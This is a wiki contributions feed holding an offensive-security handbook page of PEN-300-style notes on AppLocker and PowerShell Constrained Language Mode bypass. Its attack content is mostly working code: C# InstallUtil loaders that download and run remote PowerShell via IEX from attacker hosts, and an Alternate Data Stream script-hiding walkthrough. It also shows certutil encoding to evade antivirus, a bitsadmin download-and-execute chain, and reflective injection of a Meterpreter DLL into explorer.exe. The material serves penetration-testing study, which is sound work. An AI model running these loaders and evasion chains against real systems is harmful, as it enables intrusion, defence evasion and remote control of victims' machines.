<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Administrator</id>
	<title>Wiki Aghanim - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Administrator"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/Special:Contributions/Administrator"/>
	<updated>2026-04-05T21:27:56Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2360</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2360"/>
		<updated>2026-03-16T11:39:17Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
